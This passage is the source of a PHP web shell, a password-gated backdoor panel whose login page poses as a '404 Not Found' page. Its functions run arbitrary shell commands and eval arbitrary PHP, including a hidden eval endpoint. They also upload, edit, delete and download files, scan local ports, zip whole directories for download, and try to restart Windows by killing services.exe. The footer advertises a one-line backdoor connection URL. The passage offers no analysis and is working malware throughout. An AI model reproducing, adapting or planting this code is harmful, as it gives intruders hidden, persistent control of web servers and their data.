        $(element).text(msg);
        setTimeout(
        function() {
            $(element).hide();
        }
        , speed);
    }
    function post(element, url, form) {
        $(element).click(function() {
            $.get(url, $(form).serialize(), function(data) {
                if (data.status == 100) {
                    error(data.msg, '#notice', 2000);
                }else{
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
            }, "json");
        });
    }
    function close(){
        $("#close").click(function(){
            $("#open").hide();
        });
        $("#close_file").click(function(){
          $("#upfile").hide();
        });
    }    
    function get(element){
         $(element).on('click',function(e){
            $.get(this.href,function(data){
                if(data == null){
                    error('权限不足,无法查看!', '#load', 2000);
                }
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    $('#show_file').append(data.showfile);
                }
                if(data.editfile){
                  if($(window).scrollTop()>0) $('body,html').animate({scrollTop:0},1000);
                  $(".newfile").show();
                  $(".newfile_name").empty();
                  $(".newfile_name").val(data.filename);
                  $(".newfile_value").empty();
                  $(".newfile_value").text(data.editfile);

                }
                if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }
                if(data.status==200){
                    //window.location.href={gourl}
                    window.location.reload();
                }
                
            },"json");
            e.preventDefault();
            return false;
         });
         return false;
     }
     function find(){
       
        $('.qh').click(function(){
            var find = $('.find').val();
            if( find == null){
                error('切换的路径不能为空', '#load', 2000);
            }
             $.get('?action=find&file='+find,function(data){
                if(data == null){
                    error('切换的路径不能为空!', '#load', 2000);
                }
                if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            
        });
     }
     function port(){
        $(".click_port").click(function(){
            $('.port_hide').toggle();
            $(".findport").click(function(){
                error("正在扫描端口,请耐心等待", '#load', 2000);
                var port = $('.port').val();
               $.get('?action=port&ports='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    $('#show_file').append(data.showfile);
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });
            
        });
    }
    function upload(){
      $('.upload').click(function(){
        $('#upfile').toggle();
      });
      $(".postfile").click(function(){
        $('#upfile').hide();
         $("#form1").submit();
      });
    }
    function runphp(){
        $(".run_php").click(function(){
            $('.runphp_hide').toggle();
            $(".runphp_click").click(function(){
                error("正在执行php代码,请耐心等待", '#load', 2000);
                var port = $('.runphp_value').val();
               $.get('?action=runphp&codes='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    if(data.showfile==null){
                       error("语句执行错误,或者执行的函数被禁用!", '#load', 2000);
                    }
                    $('#show_file').append(data.showfile);
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });
            
        });
    }
    function run_command(){
        $(".run_command").click(function(){
            $('.runcommand_hide').toggle();
            $(".runcommand_click").click(function(){
                error("正在执行命令,请耐心等待", '#load', 2000);
                var port = $('.runcommand_value').val();
               $.get('?action=runcommand&codes='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    if(data.showfile){
                       error("命令执行成功!", '#load', 2000);
                      $('#show_file').append('<pre>'+data.showfile+'</pre>');
                    }                  
                   
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });           
        });
    }
      function newfile(){
      $("._newfile").click(function(){
          $(".newfile").toggle();
      });     
      $(".newfile_click").click(function(){
          var name = $(".newfile_name").val();
          var contents = $(".newfile_value").val();
          if(name==''){
              error("新建文件不能为空!", '#load', 2000);
              return false;
          }
         if(contents==''){
              error("新建内容不能为空!", '#load', 2000);
              return false;
          }
          if(name && contents){
              $.post('?action=createfile',{file:name,body:contents},function(data){
               if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
               if(data.msg){
                    error(data.msg, '#load', 2000);
               }                 
            },"json");
           }
      });
   }
     function newfolder(){
      $("._newfolder").click(function(){
          $(".newfolder").toggle();
      });     
      $(".newfolder_click").click(function(){
          var name = $(".newfolder_name").val();
          if(name==''){
              error("新建文件夹不能为空!", '#load', 2000);
              return false;
          }
          if(name){
              $.post('?action=newfolder',{file:name},function(data){
               if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
               if(data.msg){
                    error(data.msg, '#load', 2000);
               }                
            },"json");
           }
      });
   }

   function pay(){
      $('.pay').click(function(){
        alert('付费模块正在努力制作中!');
      });
   }
    function _init() {
        $(function($) {
            _key();
            url = $("#submit").attr('data_url');
            post('#submit',url, '#f_login');
            get('.action_del');
            close();
            find();
            port();
            runphp();
            upload();
            run_command();
            newfile();
            newfolder();
            pay();
            $('.packages').click(function(){
              error('打包时间比较长,请耐心等待。。或者进行其他操作。。', '#load', 5000);
            });
        });
            
    }


    
    _init();
})();
    </script>
js;
    return $code;
}

function _html() {
    $code = <<< CODE
<!DOCTYPE HTML>
<head>
 <meta http-equiv="content-type" content="text/html" />
 <meta http-equiv="content-type" charset="UTF-8" />
    <title>404 Not Found</title>
    {load_css}
    <script src="http://lib.sinaapp.com/js/jquery/1.8/jquery.min.js"></script>
    {load_js}
</head>
<body>
   <div id="notice" style="position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display: none; font-size:12px;"></div>
   <div class="not_found">
   <h1>Not Found</h1>
    <p>The requested URL /{url} was not found on this server.</p>
   </div>
   <div id="login">
   <form action="" method="GET" id="f_login">
   <span style="font:11px Verdana;">
       Password: 
     </span>
     <input id="pwd" name="password" type="password" size="20" />
     <input id="submit" data_url="{url}" type="button" value=" login " />
   </form>
  </div>
</body>
</html>
CODE;

    return str_replace(array(
        '{url}',
        '{load_css}',
        '{load_js}'), array(
        KING_SELF,
        css(),
        js()), $code);
}

function class_html() {
    $code = <<< code
<!DOCTYPE HTML>
<head>
 <meta http-equiv="content-type" content="text/html" />
 <meta http-equiv="content-type" charset="UTF-8" />
  <title>404 Not Found</title>
    {load_css}
    <script src="http://lib.sinaapp.com/js/jquery/1.8/jquery.min.js"></script>
    {load_js}
</head>
<body>
{body}
</body>
</html>
code;
    return $code;
}

function class_body() {
    $code = <<< code
<div id="load">
</div>
<div class='hide' id="upfile">
<p></p><p></p><p><a href="javascript:;;;" id="close_file">点我关闭</a></p>
<form action="?action=upload" id="form1" name="form1" encType="multipart/form-data"  method="post" target="hidden_frame">
    <input name="action" value="upload" type="hidden" />
    <input type="file" id="userfile" name="userfile">  
    <INPUT class="postfile" type="button" value="上传文件">         
    <iframe name="hidden_frame" id="hidden_frame" style="display:none"></iframe>  
</form>  
</div>
<div id="open">
<div style="position:relative;">
<div id="close">关闭</div>
</div>
<div id="show_file" class="showfile">
</div>
</div>
<div id="header">
  <div class="left">
  {host}({ip})
  </div>
  <div class="right">
  OS:{uname} {software} php {php_version}
  </div>
</div>
<div id="menu">
    {menu}
</div>
<div id="content">
<h2>文件管理 - 当前磁盘空间 <span id="disktotal">{space_total}</span> 运行用户:{whoami}</h2>
  <div id="base">
    <div class="cdrom">
      <span id="listdir"> {current_dir}</span>
    </div>
    <div class="cdrom">
      {all_dir}
    </div>
  </div>
  <div class="h"></div>
  <div id="base2">
    <div class="cdrom">
      {action}
    </div>
    <div class="cdrom">
      切换路径: <input class="input find" name="findstr" value="" type="text" /> <input  class="bt qh" value="切换" type="submit" />
    </div>
    <div class="cdrom runcommand_hide hide">
      运行命令: <input class="input runcommand_value" name="runphp" value="" type="text"/> <input  class="bt runcommand_click" value="运行" type="submit" />
    </div>
    <div class="cdrom port_hide hide">
      扫描端口: <input class="input port" name="findstr" value="21,22,25,80,3306,9000,11211" type="text" /> <input  class="bt findport" value="扫描" type="submit" />
    </div>
    <div class="cdrom runphp_hide hide">
      运行php: <textarea class="input runphp_value" name="runphp" value="" type="text" style="width:600px;height:200px;"/></textarea> <input  class="bt runphp_click" value="运行" type="submit" />
    </div>
     <!--new file -->
    <div class="cdrom hide newfile">
           新建文件: <input class="input newfile_name"  style="font-size:16px;color:blue;" name="findstr" value="" type="text" /> 
     <div style="margin-top:10px;">
     新建内容: <textarea class="input newfile_value" name="runphp" value="" type="text" style="width:600px;height:200px;font-size:16px;color:blue;line-height: 28px;"/></textarea> 
         <input  class="bt newfile_click" value="新建" type="submit" />
      </div>
    </div>     
    <!--end-->
     <div class="cdrom hide newfolder">
         新文件夹: <input class="input newfolder_name" name="findstr" value="" type="text" /> 
         <input  class="bt newfolder_click" value="新建" type="submit" />
    </div>     
  </div>
  <!-- return -->
  <div id="show">
   <dl>
  <dt>
    <span class="in"> </span>
    <span>文件名</span>
    <span>修改时间</span>
    <span>文件大小</span>
    <span>权限</span>
    <span>操作</span>
  </dt>
  <dd >
    <span class="in">
    -
    </span>
    <span>
      <a class='action_del' href="?action=up">返回上一目录</a>
    </span>
    <span></span>
    <span></span>
    <span></span>
     <span></span>
  </dd>
  <!-- file -->
    {showfile}
  <!-- file  end -->
 </dl>
  </div>
 <!-- page start-->
  <!-- end -->
</div> 
<div class="h"></div>
<div id="footer">
   当前版本:2.0 一句话连接提供 {http}/{k}?pass={p} 密码是e</span>
</div>
code;
    return str_replace(array('{http}', '{k}', '{p}'), array($_SERVER["HTTP_HOST"], KING_SELF, _pass_), $code);
}

function show_html() {
    $code = <<< code
    <dd class="{color}" onmouseover="this.className='focus'" onmouseout="this.className='{color}'">
    <span class="in">
     <input name="" type="checkbox">
    </span>
    <span>
    <a class="action_del {.red}" href="{self}?action=view&file={file}" name="" >{return_file}</a>
    </span>
    <span>
     <a href="javascript:;;;" name="" >{return_time}</a>
    </span>
    <span>{return_size}</span>
    <span>
     <a href="javascript:;;;" name="" >{return_chmod}</a> / 
     <a href="javascript:;;;" name="">{return_perms}</a>
    </span>
    <span>
     {is_folder}
   </span>
  </dd>
code;
    return $code;
}

function pages() {
    $code = <<< code
   <div id="pages">
   <dl>
    <dd>
    <span class="in"> </span>
    <span></span>
    <span></span>
    <span></span>
    <span style="text-align:right;width:38%">
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=1" >Index</a>   
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$previous" >Previous</a>
    {pages}
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$next" >Next</a>
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$nums" >End</a>
    </dd>
    </dl>
  </div>
code;
}

function _login() {
    $password = I('password');
    //去掉原有key保护改为用户自定义密码[服务端已修改]
    //&& NULL == bin::decode($GLOBALS['p']('H*', $GLOBALS['f']($GLOBALS['s']('%s/%s', $GLOBALS['p']('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f'), $key))), $key)
    if (isset($password) && $password !=_pass_) {
        die('{"status":"100","msg":"密码不对"}');
    }
    echo _html();
}

function _logout() {
    setcookie(session_name(),null, time() - 86400);
    session_destroy();
}

function is_ajax() {
    if (strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')
        return true;
}

function run() {
    $action = new run();
    $action->index();
}

function _is_login() {

    $cookie = !empty($_SESSION['_king_key']) ? pack('H*', $_SESSION['_king_key']) : null;
    $key = I('password') ? I('password') : $cookie;
    if (_pass_ == $key) {
        if ($_SESSION['_king_key'] != bin2hex(_pass_)) {
            //setcookie('_king_key', bin2hex($key), time() + 86400);
            setcookie(session_name(), session_id(), time() + 86400);
            $_SESSION['_king_key'] = bin2hex($key);
        }
        run();
    } else
        _login();
}

class run {

    function index() {
        $action = I('action') ? I('action') : null;
        if (isset($action)) {
            if (method_exists($this, $action))
                $this->$action();
        } else {
            $this->dump();
        }
    }

    function restart() {
        if (!IS_WIN) {
            die('{"msg":"非常抱歉,此操作仅限windows系统"}');
        }
        if (!class_exists('COM')) {
            die('{"msg":"非常抱歉,此机器不支持重启"}');
        }
        //尝试重启
        kill('services.exe');
        die('{"msg":"正在尝试重启服务器系统,如不是system权限请放弃操作!"}');
    }

    function find() {
        $dir = $this->gbk_mbstring(I('file'));
        if (is_dir($dir)) {
            $this->setpath($dir);
            $this->dump();
        }
    }

    function hello() {
        $i = I('world');
        if ($i) {
            eval($i);
        }
        exit;
    }

    function createfile() {
        $filename = I('file');
        $contents = I('body');
        if (isset($filename) && isset($contents)) {
            if (true == file_put_contents(_getcwd() . $filename, $contents)) {
                $this->dump('新建文件成功!');
            } else {
                $this->dump('新建文件失败!');
            }
        }
    }

    function newfolder() {
        $filename = I('file');
        if (isset($filename)) {
            if (is_dir(_getcwd() . $filename)) {
                die('{"msg":"文件夹已经存在"}');
            }
            if (true == mkdir(_getcwd() . $filename, 0777)) {
                $this->dump('新建文件夹成功!');
            } else {
                $this->dump('新建文件夹失败!');
            }
        }
    }
    function editfile(){
       if(IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
       if (is_file($filename)) {
            ob_start();
            echo file_get_contents($filename);
            $contents = ob_get_clean();
            echo sprintf('{"editfile":%s,"filename":"%s"}', json_encode($this->mbstring($contents)),basename($filename));
        }

    }
    function rmdir() {
        if(IS_WIN)
            $dir = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $dir = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            (is_dir("$dir/$file")) ? $this->rmdir("$dir/$file") : unlink("$dir/$file");
        }
        if(true==rmdir($dir)){
            $this->dump('文件夹删除成功!');
        }else{
            die('{"msg":"文件夹删除失败!"}');
        }
    }

    function phpinfo() {
        $html = <<< code
        <pre>
        php参数查看
   ======================================
        
   禁用的函数:
   {disable_function}
   禁用的类 :{class}
   支持的拓展 : 
   {ext}
   加载的项目 : {include}
   前置调用 : {pre}
   后置调用 :{next}
   内存设置大小 : {mem}
   php.ini 路径 : {php}
   最大上传 : {u}
        
  =======================================
                       code by blackbin
        </pre>
code;
        $dis = ini_get('disable_functions');
        $ext = join(',', get_loaded_extensions());
        $in = ini_get('include_path');
        $mem = ini_get('memory_limit');
        $class = ini_get('disable_classes');
        $php = php_ini_loaded_file();
        $u = ini_get('upload_max_filesize');
        $pre = ini_get('auto_prepend_file');
        $next = ini_get('auto_append_file');
        $code = str_replace(array(
            '{disable_function}',
            '{ext}',
            '{include}',
            '{mem}',
            '{class}',
            '{php}',
            '{u}',
            '{pre}',
            '{next}'), array(
            str_replace(',', '<br/>   ', $dis),
            str_replace(',', '<br/>   ', $ext),
            $in,
            $mem,
            $class,
            $php,
            $u,
            $pre,
            $next), $html);
        die(sprintf('{"showfile":%s}', json_encode($code)));
    }

    function port() {
        $port = explode(',', I('ports'));
        foreach ($port as $v) {
            if (true == $this->fsockopen($v)) {
                $yes[] = $v;
            } else {
                $no[] = $v;
            }
        }
        $html = <<< code
        <pre>
              端口检测
         =======================
          服务器开放端口:{yes}
          服务器关闭端口:{no}
         =======================
       </pre>
        
code;
        $code = str_replace(array('{yes}', '{no}'), array(join(',', $yes), join(',', $no)), $html);

        die(sprintf('{"showfile":%s}', json_encode($code)));
    }

    function fsockopen($port) {
        $fp = fsockopen("127.0.0.1", $port, $errno, $errstr, 1);
        if (!$fp) {
            return false;
        }
        return true;
    }

    function runphp() {
        $codes = I('codes');
        ob_start();
        eval($codes);
        $c = ob_get_clean();
        die(sprintf('{"showfile":%s}', json_encode($c)));
    }

    function runcommand() {
        $codes = I('codes');
        ob_start();
        echo `$codes`;
        $c = ob_get_clean();
        die(sprintf('{"showfile":%s}', json_encode($this->mbstring($c))));
    }

    function viewinfo() {
        phpinfo();
        exit;
    }

    function logout() {
        _logout();
        header('location:http://'.$_SERVER["HTTP_HOST"].'/'.KING_SELF);
        die('{"status":"200","msg":"你已成功退出!"}');
    }

    function del() {
        if (IS_WIN)
            $file = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $file = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (isset($file)) {
            if (false == unlink($file)) {
                die('{"msg":"对不起,您没有删除此文件的权限!"}');
            } else {
                $this->dump('成功删除文件!');
            }
        }
        return;
    }

    function down() {
        if (IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (isset($filename)) {
            if (file_exists($filename)) {
                $this->download($filename);
            }
        }
        return;
    }

    function linuxpkg() {
        if (IS_WIN)
            die('{"msg":"此功能仅限linux平台使用"}');
        $disable_functions = ini_get('disable_functions');
        if (strpos($disable_functions, 'shell_exec')) {
            die('{"msg":"非常抱歉,命令行已被禁用,请使用左边的打包功能!"}');
        }
        $apath = pack('H*', $this->scriptroot());
        $path = $_SESSION['dirpath'];
        $shell = sprintf('tar zcf %s.tar.gz %s', md5(uniqid()), $path);
        shell_exec($shell);
        $this->setpath($apath);
        $this->dump('亲,恭喜您,打包成功!');
    }

    function packages() {
        if (!class_exists('ZipArchive')) {
            die('{"msg":"当前环境不支持打包!"}');
        }
        $c = $this->_scandir($this->mbstring($_SESSION['dirpath']));
        array_walk_recursive($c, array($this, 'tofile'));
        $res = $this->addzip();
        if ($res) {
            //返回打包路径
            $apath = pack('H*', $this->scriptroot());
            $this->setpath($apath);
            $this->dump('亲,恭喜您,打包成功!');
        }
    }

    function up() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        $_SESSION['dirpath'] = str_replace('\\', '/', $this->setpath(dirname($path)));
        $this->dump();
    }

    //区分windows编码 windows gbk
    function view() {
        if (IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (is_dir($filename)) {
            $this->setpath($filename);
            $this->dump();
        }
        if (is_file($filename)) {
            ob_start();
            show_source($filename);
            $contents = ob_get_clean();
            echo sprintf('{"showfile":%s}', json_encode($this->mbstring($contents)));
        }
    }

    function upload() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        if (true == @file_put_contents($path . '/' . basename($_FILES['userfile']['name']), file_get_contents($_FILES['userfile']['tmp_name']))) {
            exit('
          <script>
          parent.$("#load").show();
          parent.$("#load").text("上传成功,刷新当前页面即可!");
          setTimeout(
           function() {
              parent.$("#load").hide();
            }
          , 2000);
        </script>');
        } else {
            exit('<script>
          parent.$("#load").show();
          parent.$("#load").text("上传失败!");
          setTimeout(
           function() {
              parent.$("#load").hide();
            }
          , 2000);
        </script>');
        }
    }

    protected function dump($msg = null) {
        if (is_ajax()) {
            $this->dump_ajax($msg);
        } else {
            $this->dump_html();
        }
    }

    //start
    function _scandir($path) {
        $path = $this->gbk_mbstring($path);
        $class = new DirectoryIterator($path);

        foreach ($class as $key => $fileinfo) {
            if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                continue;
            if ($fileinfo->isFile()) {
                $files[] = $this->mbstring($path) . '/' . $this->mbstring($fileinfo->
                                        getFilename());
            }
            if ($fileinfo->isDir()) {
                $dirs[] = $this->_scandir($path . '/' . $fileinfo->getFilename());
            }
        }
        if (!isset($files))
            $files = array();
        if (!isset($dirs))
            $dirs = array();
        $return = array_merge($dirs, $files);
        return $return;
    }

    function trimpath($path) {
        return str_replace('\\', '/', $path);
    }

    function tofile($item, $key) {
        $GLOBALS['addzips'][] = array('pathname' => $item, 'filename' => ltrim(str_replace
                            ($this->trimpath(dirname(__file__)), null, $item), '/'));
    }

    function addzip() {
        set_time_limit(0);
        $basename = md5(uniqid()) . '.zip';
        $zip = new ZipArchive;
        if (!is_file($basename))
            $res = $zip->open($basename, ZipArchive::CREATE);
        else
            $res = $zip->open($basename);
        if ($res === true) {
            foreach ($GLOBALS['addzips'] as $add) {
                if (basename($add['pathname']) == $basename)
                    continue;
                $zip->addFile($this->gbk_mbstring($add['pathname']), $this->gbk_mbstring($add['filename']));
            }
            $zip->close();
        } else {
            die('{"msg":"不能创建打包程序,可能是目录没有读写权限!"}');
        }
        return true;
    }

    //end
    function download($filename) {
        set_time_limit(0);
        $file = new SplFileObject($filename);
        header("Cache-Control: no-cache, must-revalidate");
        header("Pragma: no-cache");
        header("Content-Disposition: attachment; filename=" . $file->getbasename());
        header("Content-Length: " . $file->getsize());
        header("Content-Type: application/force-download");
        header('Content-Description: File Transfer');
        header('Content-Encoding: none');
        header("Content-Transfer-Encoding: binary");
        while (!$file->eof()) {
            echo $file->fgets();
        }
    }

    protected function dump_ajax($msg = null) {
        if ($msg) {
            echo sprintf("{\"html\":%s,\"msg\":\"%s\"}", $this->ajax(), $msg);
        } else {
            echo sprintf("{\"html\":%s}", $this->ajax());
        }
    }

    protected function dump_html() {
        $html = $this->html();
        $menu = join(" | ", $this->menu());
        $action = join(" | ", $this->action());
        echo str_replace(array("{menu}", "{action}"), array($menu, $action), $html);
    }

    protected function is_utf8($str) {
        $c = 0;
        $b = 0;
        $bits = 0;
        $len = strlen($str);
        for ($i = 0; $i < $len; $i++) {
            $c = ord($str[$i]);
            if ($c > 128) {
                if (($c >= 254))
                    return false;
                elseif ($c >= 252)
                    $bits = 6;
                elseif ($c >= 248)
                    $bits = 5;
                elseif ($c >= 240)
                    $bits = 4;
                elseif ($c >= 224)
                    $bits = 3;
                elseif ($c >= 192)
                    $bits = 2;
                else
                    return false;
                if (($i + $bits) > $len)
                    return false;
                while ($bits > 1) {
                    $i++;
                    $b = ord($str[$i]);
                    if ($b < 128 || $b > 191)
                        return false;
                    $bits--;
                }
            }
        }
        return true;
    }

    protected function byte_format($size, $dec = 2) {
        $a = array(
            "B",
            "KB",
            "MB",
            "GB",
            "TB",
            "PB");
        $pos = 0;
        while ($size >= 1024) {
            $size /= 1024;
            $pos++;
        }
        return round($size, $dec) . "" . $a[$pos];
    }

    protected function html() {
        return str_replace(array(
            '{body}',
            '{load_css}',
            '{load_js}'), array(
            $this->body(),
            css(),
            js()), class_html());
    }

    protected function ajax() {
        $html = $this->body();
        $menu = join(" | ", $this->menu());
        $action = join(" | ", $this->action());
        $body = str_replace(array("{menu}", "{action}"), array($menu, $action), $html);
        return json_encode($body);
    }

    protected function body() {

        return str_replace(array(
            '{host}',
            '{ip}',
            '{uname}',
            '{software}',
            '{php_version}',
            '{whoami}',
            '{current_dir}',
            '{space_total}',
            '{all_dir}',
            '{showfile}',
                ), array(
            $this->host(),
            $this->ip(),
            $this->uname(),
            $this->soft(),
            $this->php_version(),
            $this->whoami(),
            $this->current_dir(),
            $this->space_total(),
            $this->all_dir(),
            $this->showfile(),
                ), class_body());
    }

    protected function menu() {
        if (IS_WIN) {
            $restart = array(
                "重启系统",
                KING_SELF . "?action=restart",
                'action_del');
        } else {
            $restart = null;
            $unset = true;
        }
        $menus = array(
            array(
                "退出",
                KING_SELF . "?action=logout",
                null),
            array(
                "运行命令",
                'javascript:;;;',
                'run_command'),
            array(
                "端口扫描",
                'javascript:;;;',
                'click_port'),
            array(
                "运行php",
                'javascript:;;;',
                'run_php'),
            array(
                "php参数",
                KING_SELF . "?action=phpinfo",
                'action_del'),
            array(
                "phpinfo",
                KING_SELF . "?action=viewinfo",
                null),
            array(
                "mysql管理(需付费购买)",
                'javascript:;;;',
                'pay'),
            $restart,
        );
        if (isset($unset)) {
            array_pop($menus);
        }
        foreach ($menus as $menu) {
            $return[] = sprintf("<a class='%s' href=\"%s\">%s</a>", $menu[2], $menu[1], $menu[0]);
        }
        return $return;
    }

    protected function action() {
        $menus = array(
            array(
                "网站目录",
                KING_SELF . "?action=view&file=" . $this->webroot(),
                'action_del'),
            array(
                "文件目录",
                KING_SELF . "?action=view&file=" . $this->scriptroot(),
                'action_del'),
            array(
                "上传文件",
                'javascript:;;;',
                'upload'),
            array(
                "新建文件",
                "javascript:;;;",
                '_newfile'),
            array(
                "新建文件夹",
                "javascript:;;;",
                '_newfolder'),
            array(
                "打包当前路径(php功能)",
                KING_SELF . "?action=packages",
                'action_del packages'),
            array(
                "打包当前路径(linux功能)",
                KING_SELF . "?action=linuxpkg",
                'action_del packages'),
            array(
                "刷新本页",
                KING_SELF . "?action=view&file=" . bin2hex($_SESSION['dirpath']),
                'action_del'),
        );
        foreach ($menus as $menu) {
            $return[] = sprintf("<a class='%s' href=\"%s\">%s</a>", $menu[2], $menu[1], $menu[0]);
        }
        return $return;
    }

    protected function showfile($path = null) {
        $pathname = empty($path) ? $this->basedir() : pack('H*', $path);
        $filename = $this->scandir($pathname);
        if (isset($filename['dirs'])) {
            sort($filename['dirs']);
            foreach ($filename['dirs'] as $key => $value) {
                $basefile = $this->mbstring($pathname) . '/' . $value;
                $dirs[$key] = str_replace(array(
                    '{self}',
                    '{file}',
                    '{return_file}',
                    '{return_time}',
                    '{return_size}',
                    '{return_chmod}',
                    '{return_perms}',
                    '{is_folder}',
                        ), array(
                    KING_SELF,
                    bin2hex($basefile), //1
                    $value,
                    date('Y-m-d H:i:s', $this->filemtime($basefile)),
                    '无',
                    substr(sprintf('%o', $this->fileperms($basefile)), -4),
                    $this->perms($basefile),
                    sprintf('<a class="action_del" href="%s?action=rename&file=%s">重命名</a> | ',KING_SELF,bin2hex($basefile)).
                    sprintf('<a class="action_del" href="%s?action=rmdir&file=%s">删除</a>',KING_SELF,bin2hex($basefile)),
                        ), show_html());
            }
            unset($key, $value, $basefile);
        }
        if (isset($filename['files'])) {
            sort($filename['files']);
            foreach ($filename['files'] as $key => $value) {
                $basefile = $this->mbstring($pathname) . '/' . $value;
                $color = ($key + 1) % 2 ? 'dd' : 'fff';
                $files[$key] = str_replace(array(
                    '{self}',
                    '{file}',
                    '{return_file}',
                    '{return_time}',
                    '{return_size}',
                    '{return_chmod}',
                    '{return_perms}',
                    '{is_folder}',
                    '{.red}'), array(
                    KING_SELF,
                    bin2hex($basefile),
                    $value, //1
                    date('Y-m-d H:i:s', $this->filemtime($basefile)),
                    $this->byte_format($this->filesize($basefile)),
                    substr(sprintf('%o', $this->fileperms($basefile)), -4),
                    $this->perms($basefile),
                    sprintf('<a href="%s?action=down&file=%s">下载</a> | ', KING_SELF, bin2hex($basefile)) .
                    sprintf('<a class="action_del" href="%s?action=editfile&file=%s">编辑</a>',KING_SELF,bin2hex($basefile)). ' | <a href="">重命名</a> | ' . sprintf(' <a class="action_del" href="%s?action=del&file=%s">删除</a>', KING_SELF, bin2hex($basefile)),
                    ($value == KING_SELF) ? 'red' : null,
                        ), show_html());
            }
        }


        if (!isset($dirs))
            $dirs = array();
        if (!isset($files))
            $files = array();
        $arr = array_merge($dirs, $files);
        foreach ($arr as $k => $v) {
            $color = ($k + 1) % 2 ? 'fff' : 'dd';
            $res[] = str_replace(array('{color}'), array($color), $v);
        }
        return join(null, $res);
    }

    function webroot() {
        return bin2hex(str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]));
    }

    function scriptroot() {
        return bin2hex(str_replace('\\', '/', dirname($_SERVER["SCRIPT_FILENAME"])));
    }

    protected function filemtime($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return filemtime($path);
    }

    protected function fileperms($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return fileperms($path);
    }

    protected function filesize($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return filesize($path);
    }

    protected function perms($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        $perms = fileperms($path);
        if (($perms & 0xC000) == 0xC000) {
            $info = 's';
        } elseif (($perms & 0xA000) == 0xA000) {
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {
            $info = 'p';
        } else {
            $info = '?????????';
            return $info;
        }
        $info .= (($perms & 0x0100) ? 'r' : '-');
        $info .= (($perms & 0x0080) ? 'w' : '-');
        $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms &
                        0x0800) ? 'S' : '-'));
        $info .= (($perms & 0x0020) ? 'r' : '-');
        $info .= (($perms & 0x0010) ? 'w' : '-');
        $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms &
                        0x0400) ? 'S' : '-'));
        $info .= (($perms & 0x0004) ? 'r' : '-');
        $info .= (($perms & 0x0002) ? 'w' : '-');
        $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms &
                        0x0200) ? 'T' : '-'));
        return $info;
    }

    protected function setpath($path) {
        $_SESSION['dirpath'] = $path;
        return $path;
    }

    protected function current_dir() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        return $this->dirpath($path);
    }

    protected function basedir() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : str_replace('\\', '/', dirname(__file__));
        $this->setpath($path);
        return $path;
    }

    protected function all_dir() {
        if (!IS_WIN) {
            return $this->scanlinux();
        } else {
            return $this->scanwindows();
        }
    }

    protected function scanlinux() {
        if (ini_get('open_basedir'))
            return;
        $pathname = '/';
        return $this->scandir($pathname, true);
    }

    protected function scanwindows() {
        $range = range('A', 'Z');
        foreach ($range as $dir) {
            if (is_dir(sprintf('%s:', $dir))) {
                $dirs[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex($dir . ':'), $dir);
            }
        }
